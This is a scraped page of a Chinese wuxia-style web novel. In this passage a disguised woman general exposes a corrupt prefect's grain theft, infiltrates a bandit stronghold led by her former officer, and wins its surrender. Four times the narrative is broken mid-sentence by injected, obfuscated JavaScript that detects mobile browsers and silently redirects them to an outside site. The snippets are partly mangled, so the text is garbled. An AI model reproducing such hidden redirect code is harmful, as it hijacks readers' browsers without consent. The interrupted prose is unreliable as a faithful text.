“在下洛川,久闻卢大人大名,今日特来拜访。”孤弈行抿唇浅笑,话锋一转,“不过不瞒卢大人,洛川此次自京都而来,是因南风寨一事。” “既如此,洛将军里边请。”卢则中笑道。 孤弈行微微颔首,随卢则中入了大厅。 “不知陛下有何命令?”卢则中命人给替孤弈行沏了一壶茶,道。 孤弈行浅抿了一口茶,神色云淡风轻:“陛下的意思是围剿为下策,招安才是上策。” “可南风寨盘踞燕州一代多年,要想招安只怕……不容易啊……”卢则中似是有些为难。 孤弈行不予置否,但她也不急着盘问官粮一事,倒是与卢则中寒暄了起来。卢则中本来对这个靖宁将军心存几分忌惮,一看原来也是徒有虚名,心便定了几分。 就在此时,孤弈行突然道:“卢大人这几日是不曾休息好吗?怎的看上去气色不太好。” 卢则中有些猝不及防,但还是很快反应过来,笑道:“还不是这南风寨一事,我实在是愁得慌,让洛将军见笑了。” “是吗?不知官府可曾有一位姓马的从事?”孤弈行眉心微挑。 卢则中心头一沉,本想否认,却想到再小的官也都会被登记在册,便只好承认道:“是有一个叫马腾的从事,不过他前几日回乡探亲去了,眼下不在燕州。” 孤弈行把玩着手中的茶碗,勾唇冷笑:“我方才不曾询问马腾踪迹,卢大人这般着急解释做什么?” 卢则中这才反应过来自己被将了一军,差点露馅,额间沁了一丝冷汗,陪笑道:“我也只是随口一提……随口一提。” “可是我怎么听说这马腾不是回乡探亲了,而是装扮成商队在运粮的时候被南风寨的人抓上山了,这粮食也被劫了?”孤弈行与卢则中对视,眼底压迫感尽显,“这一切倒是凑巧都和卢大人上书的内容对上了。” 卢则中顿时默不作声,眼神躲闪。 孤弈行不曾给他反应时间,继续追问:“那我就有些好奇了,这马腾不过是一个小小的从事,哪儿来的这么多粮食?又是为何要假扮成商人的模样运粮呢?” “这……”卢则中顿时面色惨白。 就在此时,鲍大海率人进入。 “洛将军,属下按您吩咐现已查明燕州官仓中少了三千石粮食!”鲍大海道。 孤弈行侧身冷笑一声:“卢大人,看来这马腾运的粮食是官粮啊!私运官粮,可是死罪!” 卢则中见事情暴露身体微微发颤,情急之下心生一计怒声喝道:“我与这马腾共事多年竟没想到他是这样的人!连我都被他蒙蔽了!洛将军,您可一定要……” “卢大人!” 孤弈行冷言打断了他。 “你才是燕州刺史,而马腾只是一个小小从事,没有你的手令,何人敢开仓放粮?”孤弈行径直走到卢则中身前,“开仓放粮需要文书,放粮当日亦有目击证人,是否与你有关洛某一查便知!” 声声入耳,卢则中察觉事情掩盖不住,双腿一软跪了下去去抱孤弈行的大腿:“洛……洛将军,是……是我受了马腾蛊惑才会那么做的啊!将军饶命,将军饶命!” 孤弈行不与他多做纠缠,一脚踹开卢则中,声音掷地有声:“国有国法,你既然敢私自开仓运粮便应该料到会有今日!带走!” “是!” 孤弈行一声令下,鲍大海派人将其拖走。 “官粮的事算是明了了,小姐接下来打算怎么做?”琴潇一脸崇拜道。 “百姓失踪一事还未查明,先去查查燕州城的官员名册,看是否有人能帮得上我们的忙。”孤弈行道。 “是!” 一个时辰后,孤弈行见琴潇回来了,身后还带着一个身着藏青色布衣的年轻男人,看上去二十七八岁的样子。 那人见了孤亦行微微欠身:“原燕州主簿曹九宁见过靖宁将军。” 孤弈行似是有些意外,挑了挑眉:“曹主簿是做错了何事,亦或是……被卢则中陷害?” 曹九宁眼眶微红,言辞激荡:“将军料事如神,九宁自问担任主簿以来一直矜矜业业,但却被刺史卢则中设计罢免官职,贬为庶民。然而燕州官吏多沆瀣一气,唯卢则中是从,九宁实在有口难言,好在将军来了燕州才揭露了卢则中罪行!” “曹主簿若是知晓些什么,还望相告。” “九宁定知无不言。”曹九宁眼神坚毅,“九宁之所以被陷害,是因为卢则中怀疑我知晓了他私放官粮之事,他有意用金条贿赂我想堵住我的嘴但我没收。” “原来如此。”孤弈行微微颔首,薄唇轻抿,“燕州百姓的户籍档案平日里都是由曹主簿整理的吧?” 曹九宁不曾有丝毫犹豫:“是。” “曹主簿可知最近有不少百姓失踪?” 曹九宁眸色渐深:“知晓,九宁曾翻阅过档案,发现失踪的百姓都是农民。” 如此看来,那茶摊摊主所言非虚。孤弈行心想。 “失踪的百姓可还有什么共同之处?” 曹九宁思索了一番,良久顿悟:“前段时间卢则中颁发了一项集田令,收了不少百姓的田地,失踪的百姓皆在其中!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871734|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤弈行眉心微蹙:“也就是说,这些百姓失去了赖以生存的田地,难以维持生计。” 曹九宁点了点头。 孤弈行心中顿时有了一番猜测,她勾了勾唇道:“曹主簿,在你的印象里,南风寨,或者说南风寨寨主如何?” “这南风寨说来也怪,我初来燕州之时,以为南风寨都是罪大恶极之徒,应是烧杀抢掠无所不作,但……他们好像就是喜欢和官府作对,是以在百姓之中名声也算不上坏。”曹九宁回忆道。 “至于这南风寨寨主鲜少露面,无人知其真面目。” 声声入耳,孤弈行眉眼轻扬:“若是按照曹主簿所言,那有没有一种可能,这些百姓并非失踪,而是主动上山谋求生计?” 曹九宁起初被这大胆的猜测吓了一跳,但待回过神来细想却发现这种猜测也不无道理。他定了定神,神色严肃:“将军有何打算?” 孤弈行唇角轻勾:“演一出戏,是真是假,一试便知,届时还望曹主簿坐镇燕州。” “全听将军差遣!” 次日,孤弈行与琴潇,鲍大海一行几个人慢悠悠地走在那条官粮被劫的大道上。 众人皆未着平日衣裳,而是换上了破旧泛白的麻布衣,脸上也抹上了炭灰,看上去倒与生活拮据的老百姓极为相像。 “洛将军,你说咱们这走半天了怎么一点动静都没有啊?”鲍大海摸着黏在下巴上的一团假胡子道。 话音未落,孤弈行便听见一处传来脚步声。她勾了勾唇,压低了音量:“别急,马上到了。” 果然没过多久,一群人便将他们团团围住。他们都穿着统一的皮布衣裳,为首的那个扎着小辫,看上去与孤弈行年龄相仿,底下人都叫他二当家。 “二当家,又是一群苦老百姓。”其中一个人道。 被唤二当家的男人双手抱胸打量着面前一群人:“去哪儿啊?” 孤弈行肩膀微微颤抖,苦笑道:“爷,我们都是城里的老百姓,世代务农,可眼下田被收了实在是走投无路便想着去其他地方混口饭吃。” “猜到了,这该死的卢则中还真不是个东西!”男人似乎并不意外,骂骂咧咧道,言语之间竟有些打抱不平的意味。 “这样,既然你们无处可去,不如跟着我上山,如何?” “上山……”孤弈行假意愣了一下,恍然大悟,“莫非……莫非你们是南风寨的人?” “怎么?害怕了?”男人俯下身来与孤弈行对视,勾唇轻笑。 孤弈行笑着摇了摇头:“没有没有,南风寨从来不干对老百姓不利的事这些我们都知晓,只是有些惊讶罢了。” “但我还是想问一句……我们若是上了山就能有活干?有饭吃了?” 男人一脸骄傲:“那当然,我们大当家可是大好人,你们上了山就能有地种有饭吃,还能世代居住,可比这燕州城安生多了,再说了你们也不是头一批了。” 孤弈行点了点头,似是下定了主意:“那感情好,我们跟您上山!” 59. “伏奸平天” 被唤二当家的男人听罢拍了拍衣袖,侧身道:“走吧。” 孤弈行一行人便跟着那人,没过多久便走入一处密林。孤弈行环顾四周,发现这密林之中暗藏机关,危机四伏,若是无人带路极易中招。 孤弈行不禁回想起当时与言煜假扮贾岳夫妇初入南风寨之时山寨的入口还没有如此隐蔽,想来这南风寨的大当家倒是花了不少心思,若是强攻只怕连入口还没找到便损失大半。 纵然有人带路,一行人还是走了大约半个时辰才到了南风寨寨门。孤弈行见寨门口有六人驻守,周围应当还有流动暗哨。 那六人见了为首的男人,皆道:“二当家!” “二当家这是又带人回来了?”一个长着死鱼眼的男人笑道。 被唤二当家的男人点了点头,拍了拍那人肩膀:“包子,老规矩,带人上山。” 包子憨笑:“好嘞!二当家放心!” 言罢包子打量了孤弈行一行人,道:“走吧,我带你们上山领田去。” “好嘞!”孤弈行笑着点了点头,随后招呼众人跟上。 包子是个自来熟,一路上孤弈行和他攀扯了几句,话便滔滔不绝,不过如此正合孤弈行心意,他们初来乍到,她正好借机从此人口中探探情况。 “包哥,您方才是说要带我们领田吗?这山上有多少田啊?” 包子卖着关子走了几步:“妹子你别急,过会儿啊你就知道了!” 言已至此,孤弈行便只是笑了笑,没继续追问,果然没过多久,大片田地便映入眼帘。田地里有不少人正在耕种,他们皆为着皮布衣裳,应都是燕州城内被收了田地的老百姓。 “怎么样?哥没骗你吧?”包子见对方迟迟不曾收回目光,一脸骄傲道。 “没有没有。”孤弈行勾唇浅笑。 “看见前面那个木屋了吗?去那里登记完就可以领田了,不过最近寨里人多你们怕是要挤一间通铺,但也总比没地睡强!” “是是是!”孤弈行连忙点头,随即话锋一转,“大当家真是个好人,说起来包哥你见过大当家吗?” “自然见过!大当家还经常请兄弟们一起喝酒!人好得很!”包子拍了拍肚皮道。 “这样啊!老鲍你们先去登记,我和包哥说几句就来。” “好嘞!” “包哥,说起来你是怎么上山的啊?”孤弈行道。 包子苦笑:“也就是妹子你和我投缘,我才和你说说。你包哥我从前还是个生意人嘞,生意做得不小野心也大,途径燕州便想大做一笔,结果突然有一天来了个官说我做的生意不合规矩,第二天就把我铺子和盘缠全收了,我想想是真冤哪!” “后来遇上了二当家,想着反正生意搞砸了走投无路便上了山,再后来因为会点拳脚功夫便被二当家看中做了差事。” 思及往事,恍若隔世,包子心生感慨,不仅眼眶微红:“其实,咱们寨里的兄弟大多都是和我一样,走投无路才上山的。要是有安生日子谁不乐意过啊?只是这些该死的狗屁官府根本不让我们过安生日子!” 孤弈行附和了几句,抿了抿唇:“包哥你方才说是被二当家看中才做了差事?” “是啊!”包子笑着点了点头,“怎么?妹子你也想做差事?” “想啊怎么不想?”孤弈行笑了笑,但似是有些为难,“只不过我拳脚功夫一般,怕二当家看不上那个我。” 包子随即愣了一下,他转了一圈打量了一下面前女子:“你说啥?你会武?” 孤弈行不好意思地低下了头:“我老爹原来是猎户出身,是以学过一些拳脚功夫,但不多。” 包子点了点头:“这样啊,那妹子你和我过过手我看看,要是你功夫可以,我就把你举荐给二当家。” 孤弈行勾唇浅笑:“那感情好。” 言罢孤弈行随即站定,静候对方攻势。包子起初还想出于义气让对方几招,但很快他就发现对方的功夫绝不在自己之下!甚至是令他摸不清深浅! 他素来喜欢进攻下盘,但对方好似早就知晓他要做什么似的每次都让他扑空,而后抓住他的胳膊一个侧身旋转,虽是点到即止,但他能清晰地感受到若是对方再使半分力气,他的胳膊就会被卸下来了。 想到此处,包子感觉后背发凉,不禁暗暗后怕。 若是这都算腿脚功夫一般,那他的拳脚功夫就是一滩烂泥!还是扶不上墙的那种! “包哥,方才对不住了!”孤弈行松开包子肩膀道。 “妹子……不是!姐!今后我叫你姐!”包子揉了揉胳膊,连忙笑着改口,“就凭你这功夫,这寨里的差事日后定有你的一份!若是姐日后飞黄腾达了,可别忘了照顾兄弟我!” 孤弈行唇角轻勾:“这叫什么话?都是兄弟!” 就在此时,孤弈行听得背后传来一阵脚步声,虽是很轻,但还是被她捕捉到。 “包子,干什么呢?” 声音有些熟悉,孤弈行很快听出是那之前领他们一行人上山的南风寨二当家的声音。 说曹操曹操就到,包子笑着转身:“二当家您来得正好,这姑娘家里从前是猎户,会些拳脚功夫,方才与我切磋,我都不是她的对手,我正想将她举荐给二当家您呢!” 声声入耳,二当家眼眸深处闪过一丝诧异,他侧身与孤弈行对视,眼神似是有些戒备:“我竟不知你会拳脚功夫。” 孤弈行憨笑着勾了勾唇,一脸人畜无害的模样:“那方才上山的时候二当家也没问不是?再说了,我只是小时候学过些,并不精通,不然家里还会靠种田过活?” 二当家想了想,觉得她说得倒也有几分道理,又被她瞧得脸颊发热,没也没再细问,只道:“来,和我过过手。” 一旁的包子听罢自觉退后一步,双手抱胸静看好戏。 孤弈行佯装愣了一下,似是有些为难:“不……不用了吧……” 二当家以为对方是怕自己过招没轻没重把她弄伤了,便放柔了声音:“过招而已,点到为止,不会受伤。” 既然对方都这么说了,孤弈行心想要是再推辞反令对方起疑,便道:“好吧,那我就献丑了。” “我让你三招。” 孤弈行见对方这般客气,嘴角不自觉抽了抽,她也不再推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882051|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞轮动右臂,化手为掌向对方劈去。 二当家显然不成想对方出手如此干脆,愣了一下,随后回过神来侧身躲避。 以免徒生事端,孤弈行只用外家功夫。她心中默数三招,只与对方缠斗实则攻势不猛。 此刻二当家却已然反应过来对方的功夫不再自己之下,三招过后便主动出击迅速出拳。 孤弈行唇角不自觉轻勾,却是不忧不急,待到对方拳头将至自己身前之时猛然向后退了一步,对方来不及反应,身体随着惯性向前踉跄了一步,她便侧身绕到他身旁,化手为爪擒住对方喉咙。 点到为止,孤弈行随即收手,笑道:“二当家,冒犯了。” 包子在一旁看清了全过程,发现就连二当家都不是她的对手,不由得后背发凉,一时间觉得刚才自己的失败才是正常的。 二当家立在原地默声不语,孤弈行以为他在自己的属下面前出丑心中愤恨,便拍了拍他的衣袖,憨笑道:“方才是二当家让我的,不然我不是二当家的对手。” “好功夫!真是好功夫!”二当家突然笑道。 对方突如其来的一句,倒把孤弈行弄懵了。他见对方不但没有挂脸,反而兴致勃勃地上前一步抓着自己的肩膀,满脸期待:“告诉我你的功夫是和谁学的?他可还收徒?” 啊?孤弈行良久才回过神来,道理一句:“和我父亲学的,他从前是个猎户,但十年前已经病逝了。” 声声入耳,孤弈行见对方长叹了一口气,似乎很是遗憾。 “好吧,倒是可惜了。” 这一来二去孤弈行算是弄明白了,原来这家伙是个武痴。 “今晚大当家设宴款待兄弟们,你届时和我一起去吧,我在大当家面前举荐你。”二当家走了几步,回过神来道。 “那就多谢二当家了。” 二人走后,孤弈行便回了田里,鲍大海让阿四和熊二牛他们下地种田掩人耳目,自己则在木屋外等孤弈行,直接领着孤弈行去了分发下来的通铺。 “怎么样?” 孤弈行拍了拍双手,眼尾微微上扬:“还算顺利,今晚就去会会那江湖上无人识其真面目的南风寨大当家。” 申时三刻,孤弈行准时走到二人方才比武切磋的路口,见对方似已等候多时。 “二当家久等。”孤弈行抿了抿唇。 “到了没一会,走吧。”对方似是毫不介意。 一路上,二人相顾无言,将至大厅之际,对方忽然道了一句。 “姑娘拳脚功夫在我之上,我实在心生敬佩,不瞒姑娘说,我敖逸是个武痴,可惜天赋一般,不知姑娘可否日后时常与我切磋指点我一番?” 这时孤弈行才知晓这二当家原来叫敖逸,倒是个挺好听的名字。他见对方眼神真挚,便知是一心求学,便笑道:“指点谈不上,若是二当家不弃,我写下一些招式给二当家。” “那感情好!多谢姑娘!”敖逸见大厅已至,薄唇微启,“大厅到了,我们进去吧。” 孤弈行抬眸望了一眼那匾额上雕刻的朱红的“伏奸平天”四字,微微出神,良久点了点头,迈入厅内。 60. 故人 孤弈行到时厅内已然坐了不少人,个个都身着皮布衣裳,应当都是南风寨的人。 起初几个人见了敖逸都唤他二当家,而后众人的目光便都被这个身着农民打扮,看上去眼生的女子吸引了。 “你先坐我边上吧。”敖逸道。 孤弈行点了点头,在敖逸一旁的空位坐下。没过一会,孤弈行就听见四周有人在窃窃私语,孤弈行不去细听仅单看他们笑眯眯的神色便知他们怕是猜测自己与敖逸有什么特殊关系。 倒是八卦。孤弈行抽了抽嘴角。 就在此时,厅内窃窃私语的声音戛然而止。 “大当家!” 孤弈行顺着众人目光望去,匆匆瞥见一男子侧颜。她陡然出神,眼眶微红。 男子看上去二十六七的模样,穿着一身深褐色豹纹皮衣,依旧是她记忆中的模样,不过皮肤晒成了小麦色不再如从前一般白皙,右侧眉角有一处浅浅的刀疤,虽算不上深但落入孤弈行眼中却格外刺眼。 男子不是别人,正是孟启。 自孤弈行从青川峡谷野狼窟中发现木板上的血迹后,孤弈行便确信孟启还活着,但始终不曾找到他的踪迹。然而当她方才看到厅外匾额上刻着的的“伏奸平天”四字后她心中便隐隐有种预感,没想到南风寨如今的大当家竟真是他。 “伏奸”因她历生死,他落草为寇皆为奸人所害,“平天”则与她的独门剑术孤云平天暗合。或许,她早该想到的。 他本是她最信任的属下,应是名扬天下的大将军,如今却被迫上山成了这南风寨的大当家。孤弈行忍不住去想,这些年,他到底是怎么过来的。 主位上的孟启感觉到有人一直在看着自己,便偏过头来恰好对上孤弈行的目光。 孤弈行不由得心头一紧,但她也知晓自己不必紧张,只因自己如今带着人皮面具,与孟启印象中自己的容貌可以说是毫不相干,他是绝无可能这么快认出自己的。 果然如孤弈行所料,孟启只是多打量了她几眼,随后抿唇浅笑,移开了目光。 孤弈行苦笑着勾了勾唇:这好脾气还真是一点没变。 原本来之前孤弈行心中对招安南风寨还没有十足的把握,不过眼下看到大当家是孟启之后她倒是有了把握。只不过当务之急是要找到机会让孟启认出自己身份,完全信任自己的同时不让他人有所察觉。为此,她只能静待时机。 宴会开席,孟启首先起身举起酒杯,豪声道:“最近我见不少百姓在山上被安置妥当,兄弟们辛苦了,我敬兄弟们一杯!” 众人随即举杯,齐声道:“敬大当家!” 孟启的目光随即向敖逸这处投来:“特别是阿逸,最是辛苦。” 敖逸听罢举起酒杯,一饮而尽,笑道:“多谢大当家!” “今日兄弟们尽兴便是,酒肉管够,不醉不归!” “不醉不归!” 一阵觥筹交错之后,孤弈行见敖逸起身走到大厅中央:“大当家,我今日要向您举荐一人。” 孟启似是有些惊讶:“哦?是何人?” “此人虽是女子,拳脚功夫却是极好,我甘拜下风,想必大当家看了也定是欢喜。”敖逸笑道,随即转身与孤弈行对视,“快过来见过大当家。” 孤弈行缓步走到敖逸身旁,故意压低了音量:“见过大当家。” 孟启薄唇微启:“你叫什么名字。” “回大当家,我没有名字。”孤弈行应道。 孟启笑了笑:“无妨,方才阿逸说你的拳脚功夫在他之上,可是真的?” 孤弈行抬眸憨笑:“是二当家让我的,不然我不是二当家的对手。” 孟启知敖逸从不说谎,想来这女子拳脚功夫的确不差。说起来除了她,他还未见过其他女子那般英气逼人,今日见了这女子竟瞧出了些故人的影子,不是形似还是神似。 “阿逸从不说谎,他既然对你这般赞不绝口想必你定有过人之处,不如和我过几招。” 话音未落,底下人顿时忍不住交头接耳。 孤弈行勾了勾唇,顿时心生一计,答应得极为爽快:“能得大当家邀约,是我的荣幸。” 孟启随即放下手中酒杯,从手下手中拿过两把剑,并将一把抛给对方:“今日心情好,拿剑试试。” 孤弈行轻松接过长剑,勾了勾唇。 孟启主动发起攻势向孤弈行刺来,被孤弈行一个旋身完美躲避。 孤弈行随即用剑鞘抵住孟启剑刃,以众人几乎看不清的速度拔剑出鞘,她身轻如燕,陡然腾空而起,脚尖点在孟启刀刃之上。 孟启身子一滞,望向面前女子的眼神里多了几分情绪。 随后孟启多次出招皆被孤弈行瓦解,她招式凌厉,且变幻莫测,不拘小节,看得底下人眼花缭乱。 若说刚开始只是怀疑,但几次交手下来孟启便笃定对方使出的招数正是出自孤云平天。尽管有些变化,但他还是能一眼认出。 孤弈行也察觉到孟启望向自己的眼神有些不同了。 她方才出招凌厉,此时余光瞥见底下已然有人站了起来,估计是怀疑她借与孟启过招的机会企图要对孟启不利。 孤弈行于是逐渐收了攻势,化攻为守,孟启似乎察觉到她的意图开始配合她的动作,片刻后将剑收入鞘中。 “看来你的拳脚功夫确实不错,宴后跟我走我有话问你。” “是。” 言罢,孤弈行欲走回座位,却见有人走到厅中,正是方才站起的其中一人。 “大当家,此人方才招式狠辣分明是要对大当家下手,大当家切莫相信此人!” “我心中自有分寸,兄弟们不必担心。”孟启笑了笑,举起酒杯,“来,我再敬兄弟们一杯!” “敬大当家!” 酒过三巡,厅中南风寨的人已然倒了一片,孤弈行便被引着去了后院。孤弈行到时见孟启已然屏退了属下。 “你也先下去吧。”孟启对方才领着孤弈行进入的男人道。 “是,大当家。” 那人走后,院中便只剩下孤弈行和孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895264|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 启二人。 孤弈行知他已认出自己,便伸手撕下了人皮面具。 孟启望着面前女子,眼眶微红,像从前一般行了臣礼:“孟启参见王上!王上千岁千岁千千岁!” 孤弈行本是心中泛酸,却还是被他一本正经的模样逗笑了:“世上已无孤弈行,你不必像从前那样拜我。” 孟启与孤弈行对视,情绪激动:“不论如何,孟启永远都是您的属下。” 孤弈行知自己拗不过他,便也随他去了。她伸手扶起孟启,道:“后来我又去过青川峡谷,发现了你为我立的衣冠冢还有为将士们立的无名冢,便猜到你还活着,但始终没有找到你的踪迹,没想到你竟成了南风寨的大当家。” 孟启忍住情绪点了点头:“当年我负伤突出重围,养好伤后喻威登基,我与几个弟兄无处可去,途径燕州又怕进城被识破身份,便重建了南风寨。” “王上,这些都不重要,只要您还活着,就是万幸!” 孤弈行见孟启望着自己,眼眸深处有泪光闪烁。 她的眼眶也有些润湿,但她忍住不曾落泪,拍了拍他的肩膀:“我自然要活着,我的命是你还有千千万万的弟兄们拼了性命换来的,我还要让他们看见我让喻威血债血偿的那一日。” “只是要想为弟兄们报仇不是易事,王上可是有了打算?” 孤弈行微微颔首:“如今我的身份是当朝靖宁将军洛川。” “靖宁将军……”孟启似乎有些意外,但他很快反应过来,“王上参与了先前的武延一役?” “是。”孤弈行压低了声音,“现在知晓我真实身份的只有言煜,沈离松,潭胜,峨眉素掌门和千衣前辈,还有你。” “可我前几日听说潭将军被牵扯入妖书案而死于狱中,莫非……”孟启恍然大悟。 孤弈行点了点头:“不错,我与言煜使了狸猫换太子之计已将潭将军一家送往武延,那里有沈离松照顾应当无事。” “孟启,此次我潜入南风寨是因为燕州刺史卢则中上书称南风寨劫粮,燕州又有不少百姓失踪,那位特命我前来招安。” 声声入耳,孟启似是有些为难。 孤弈行猜到孟启有所顾虑,道:“我知晓你担心招安之后手下弟兄会有危险,但此次招安是要将南风寨的人手编入幽州军中,幽州军中多有我的人,可以信任,能尽可能保证弟兄们进入幽州军后的安全。” 孟启舒了一口气,但依旧眉头不展:“王上思虑周全,如此便好。只是若南风寨倒了,山上的百姓只怕会无处可去。” 孤弈行抿唇浅笑:“这你不必担心,我已查明卢则中私放官粮一事,卢则中一倒,集田令便废,这些百姓就有田种了。” “那真是太好了!”孟启眉头舒展,笑道,“既如此,我明日便与兄弟们商量此事。靖宁将军的名声传扬甚广,寨中弟兄虽大多厌恶官吏,却很是崇拜靖宁将军这样有血性的人,王上不妨先留下,之后我便带兄弟们下山!” 孤弈行点了点头,桃花眼轻扬:“如此甚好。” 61. 招安 次日一早,孟启召集手下弟兄于大厅集合。 “今日叫兄弟们来是要与兄弟们商量一件事。”孟启道。 众人皆面面相觑。 “这些年,我南风寨虽名声不好,但实则干的都是有利于百姓的事,我与兄弟们皆无愧于心。” 孟启立起身来,环顾台下:“如今台下的兄弟们中有一直跟着我的,也有被迫半路上山的,但无论如何,在我心中都是一家人。” 敖逸眼眶微红:“大当家说吧,是什么事儿,大伙都听着!” “我们都听大当家的!”众人应道。 “寨子虽好却非长久之计,我决定答应朝廷招安。”孟启下定决心,眼神坚毅。 此言一出,台下传来此起彼伏的交谈声。就连敖逸都并不理解,开口道:“大当家的,你要说其他事,兄弟们一定支持你,但是寨里的兄弟大多与朝廷有仇,如何能答应招安呢?” “对啊对啊!二当家说的是!”台下众人道。 “我如何能不知兄弟们对朝廷的愤恨,难道我不恨朝廷吗?但兄弟们可曾想过留在山上的后果?” 话音未落,台下的喧哗声小了不少。 “不知兄弟们可曾听过靖宁将军名讳?” “靖宁将军……莫非是那个出身幽州军,不久前死守武延的女将军?”台下有人道。 孟启点了点头:“不错,此次前来招安的正是靖宁将军。” “这么说靖宁将军来寨子了?可是也没见过啊!” 台下众人环顾四周,目光最终落在了一旁的身着破烂布衣的女子身上。敖逸也意识到有些不对,侧过身望着孤弈行眼神惊讶。 厅内再无第二个女子,敖逸心中已然有了答案,薄唇微启:“你竟是……” 孤弈行勾唇浅笑,随即大步走到大厅中央,开门见山:“我便是靖宁将军洛川,此次来南风寨的目的便是招安,先前若有冒犯,我向兄弟们赔罪。” 怪不得拳脚功夫胜过二当家敖逸,怪不得能与大当家打成平手,实力深不可测。这一切顿时都变得合理了起来。众人忍不住心想,望向孤弈行的眼神发生了变化,景仰中又夹杂着几分警惕。 “几日前,原燕州刺史卢则中上书称南风寨劫粮,燕州一代多有百姓无故失踪,朝中有人提出应当围剿南风寨,我向陛下提议招安,待到了燕州之后,发现事情果然与卢则中上书所提截然不同。” 孤弈行言语掷地有声:“眼下我已查明燕州刺史卢则中私发官粮,又发行集田令压榨百姓,按律当受死刑,而相对之下南风寨的兄弟们做的则是有利百姓之事。” “靖宁将军说得固然好,但相比招安之后成为俎上鱼肉,倒不如守在寨上战死!” “就是!” “但兄弟们可曾想过,既然你们没有干过伤天害理之事,你们凭什么要在寨上战死?”孤弈行眉心微挑。 台下议论声渐小。众人似乎都不曾想过,她会说出这样的话。 “你们做的事应该让百姓们知道,你们也不应该蜷缩在这个地方背负骂名,死得不明不白,你们应该为了更有意义的事而活着,像幽州守军和武延守军那样保护百姓。” 声声入耳,敖逸眼眶不自觉微微泛红。 这么多年了,他还是第一次听从旁人口中听到他应该为了更有意义的事而活着。他不是匪,南风寨上下的所有兄弟也都不是匪,他们只是普通的百姓,被逼得走投无路却从未干过坏事的百姓! 不只是敖逸,其他人也都沉默不语。 “说到底诸位兄弟担心的不过是下山之后的安全,我洛川可以告诉你们南风寨若顺利招安则会被编入幽州军,幽州军中多是与我曾经并肩作战的兄弟,若有人刻意刁难,我洛川与幽州军中长官定会将其军法处置!” 孤弈行的话无疑给所有人吃了一颗定心丸,但事关重大,众人依旧有些犹豫不决。就在此时,敖逸第一个站了出来。 “我敖逸愿意相信靖宁将军,愿意下山继续跟着大当家!” 敖逸身旁的几个人见敖逸站了出来,也下定决心道:“我也愿意相信靖宁,愿意下山继续跟着大当家!” 而后孤弈行见不断有人站出来。 “我愿意!” “我也愿意!” 孤弈行侧身与孟启相视一笑,眉眼轻扬:“多谢诸位兄弟的信任,既如此,我们今日收拾东西,明日便下山前往幽州。” 第二日,南风寨宣布答应招安,孤弈行派琴潇安顿好因先前集田令受难的百姓,便带领南风寨一行人启程前往幽州。 然而还未走出燕州地界,孤弈行便听到背后传来阵阵脚步声,似是有人追了上来。 孤弈行心生警惕,转身见来者正是原燕州主簿曹九宁,他身后还跟着不少百姓。 “曹主簿可是官复原职了?恭喜恭喜。”孤弈行勾了勾唇。 曹九宁没有点头却也没有否认,朝着孤弈行深深地鞠了一躬:“陛下命我担任燕州刺史,九宁多谢将军。” “谢我作甚?”孤弈行勾唇一笑,随即上前拍了拍曹九宁的肩膀,“我上书所言皆是事实,你本就是难得的清官,又恪尽职守为百姓着想,只做个小小的主簿才是屈才。” 曹九宁眼神坚毅:“九宁定不负将军所望。” 孤弈行笑着颔首,目光随后落在曹九宁身后的百姓身上,其中有一些面孔孤弈行曾在南风寨见过,但其余的面孔却很是陌生,但孤弈行猜到应都是燕州城的百姓。 “百姓们听说我要来送将军,都自愿跟着前来相送。” “九宁多谢将军救燕州百姓于水火,愿将军此行一路顺风。”曹九宁拱手作揖。 “多谢将军救我等于水火,愿将军此行一路顺风!”众人齐声道。 不知为何,孤弈行心头泛起一阵暖流。她拱手回礼,眉眼之间豪气万丈:“诸位珍重,山高水远,后会有期!” 言罢,孤弈行翻身上马,一行人策马扬鞭而去。两日后孤弈行途径幽州先将南风寨众人安置妥当,而后与琴潇往京城。 五日后,孤弈行抵达京城。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909432|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此次回京,孤弈行总觉得京城气氛格外压抑。但按理来说言煜没有给自己传信,应当并无大事发生,孤弈行便也没有细想。 